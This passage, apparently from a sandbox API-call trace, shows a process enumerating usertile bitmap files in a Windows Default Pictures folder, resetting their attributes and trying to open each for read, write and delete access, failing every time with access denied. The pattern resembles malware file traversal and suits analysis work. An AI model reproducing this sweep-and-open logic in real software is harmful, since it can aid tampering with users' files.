ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0151.525] wcscmp (_String1="usertile32.bmp", _String2=".") returned 1 [0151.525] wcscmp (_String1="usertile32.bmp", _String2="..") returned 1 [0151.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.525] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.525] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.525] wcscat (in: _Dest=0x202ad3f0, _Source="usertile32.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" [0151.525] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp")) returned 0x20 [0151.525] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp", dwFileAttributes=0x20) returned 0 [0151.525] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.525] GetLastError () returned 0x5 [0151.525] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp", dwFileAttributes=0x20) returned 0 [0151.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.526] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0151.526] wcscmp (_String1="usertile33.bmp", _String2=".") returned 1 [0151.526] wcscmp (_String1="usertile33.bmp", _String2="..") returned 1 [0151.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.526] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.526] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.526] wcscat (in: _Dest=0x202ad3f0, _Source="usertile33.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" [0151.526] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp")) returned 0x20 [0151.526] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp", dwFileAttributes=0x20) returned 0 [0151.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.527] GetLastError () returned 0x5 [0151.527] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp", dwFileAttributes=0x20) returned 0 [0151.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.527] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0151.527] wcscmp (_String1="usertile34.bmp", _String2=".") returned 1 [0151.527] wcscmp (_String1="usertile34.bmp", _String2="..") returned 1 [0151.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.527] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.527] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.527] wcscat (in: _Dest=0x202ad3f0, _Source="usertile34.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" [0151.527] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp")) returned 0x20 [0151.527] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp", dwFileAttributes=0x20) returned 0 [0151.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.528] GetLastError () returned 0x5 [0151.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp", dwFileAttributes=0x20) returned 0 [0151.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.528] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0151.528] wcscmp (_String1="usertile35.bmp", _String2=".") returned 1 [0151.528] wcscmp (_String1="usertile35.bmp", _String2="..") returned 1 [0151.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.528] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.528] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.528] wcscat (in: _Dest=0x202ad3f0, _Source="usertile35.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" [0151.528] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp")) returned 0x20 [0151.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp", dwFileAttributes=0x20) returned 0 [0151.529] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.529] GetLastError () returned 0x5 [0151.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp", dwFileAttributes=0x20) returned 0 [0151.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.529] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0151.529] wcscmp (_String1="usertile36.bmp", _String2=".") returned 1 [0151.529] wcscmp (_String1="usertile36.bmp", _String2="..") returned 1 [0151.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.529] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.529] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.529] wcscat (in: _Dest=0x202ad3f0, _Source="usertile36.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" [0151.529] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp")) returned 0x20 [0151.530] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp", dwFileAttributes=0x20) returned 0 [0151.530] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.530] GetLastError () returned 0x5 [0151.530] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp", dwFileAttributes=0x20) returned 0 [0151.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.530] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0151.530] wcscmp (_String1="usertile37.bmp", _String2=".") returned 1 [0151.530] wcscmp (_String1="usertile37.bmp", _String2="..") returned 1 [0151.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.530] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.530] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.530] wcscat (in: _Dest=0x202ad3f0, _Source="usertile37.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" [0151.531] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp")) returned 0x20 [0151.531] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp", dwFileAttributes=0x20) returned 0 [0151.531] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.531] GetLastError () returned 0x5 [0151.531] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp", dwFileAttributes=0x20) returned 0 [0151.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.531] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0151.531] wcscmp (_String1="usertile38.bmp", _String2=".") returned 1 [0151.531] wcscmp (_String1="usertile38.bmp", _String2="..") returned 1 [0151.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.531] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.531] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.531] wcscat (in: _Dest=0x202ad3f0, _Source="usertile38.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" [0151.532] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp")) returned 0x20 [0151.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp", dwFileAttributes=0x20) returned 0 [0151.532] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.532] GetLastError () returned 0x5 [0151.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp", dwFileAttributes=0x20) returned 0 [0151.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.532] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0151.532] wcscmp (_String1="usertile39.bmp", _String2=".") returned 1 [0151.532] wcscmp (_String1="usertile39.bmp", _String2="..") returned 1 [0151.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.533] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.533] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.533] wcscat (in: _Dest=0x202ad3f0, _Source="usertile39.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" [0151.533] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp")) returned 0x20 [0151.533] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp", dwFileAttributes=0x20) returned 0 [0151.533] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.533] GetLastError () returned 0x5 [0151.533] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp", dwFileAttributes=0x20) returned 0 [0151.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.533] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0151.533] wcscmp (_String1="usertile40.bmp", _String2=".") returned 1 [0151.533] wcscmp (_String1="usertile40.bmp", _String2="..") returned 1 [0151.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.534] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.534] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.534] wcscat (in: _Dest=0x202ad3f0, _Source="usertile40.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" [0151.534] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp")) returned 0x20 [0151.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp", dwFileAttributes=0x20) returned 0 [0151.534] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.534] GetLastError () returned 0x5 [0151.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp", dwFileAttributes=0x20) returned 0 [0151.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.534] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0151.535] wcscmp (_String1="usertile41.bmp", _String2=".") returned 1 [0151.535] wcscmp (_String1="usertile41.bmp", _String2="..") returned 1 [0151.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.535] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.535] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.535] wcscat (in: _Dest=0x202ad3f0, _Source="usertile41.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" [0151.535] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp")) returned 0x20 [0151.535] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp", dwFileAttributes=0x20) returned 0 [0151.535] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.535] GetLastError () returned 0x5 [0151.535] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp", dwFileAttributes=0x20) returned 0 [0151.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.536] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0151.536] wcscmp (_String1="usertile42.bmp", _String2=".") returned 1 [0151.536] wcscmp (_String1="usertile42.bmp", _String2="..") returned 1 [0151.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.536] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" 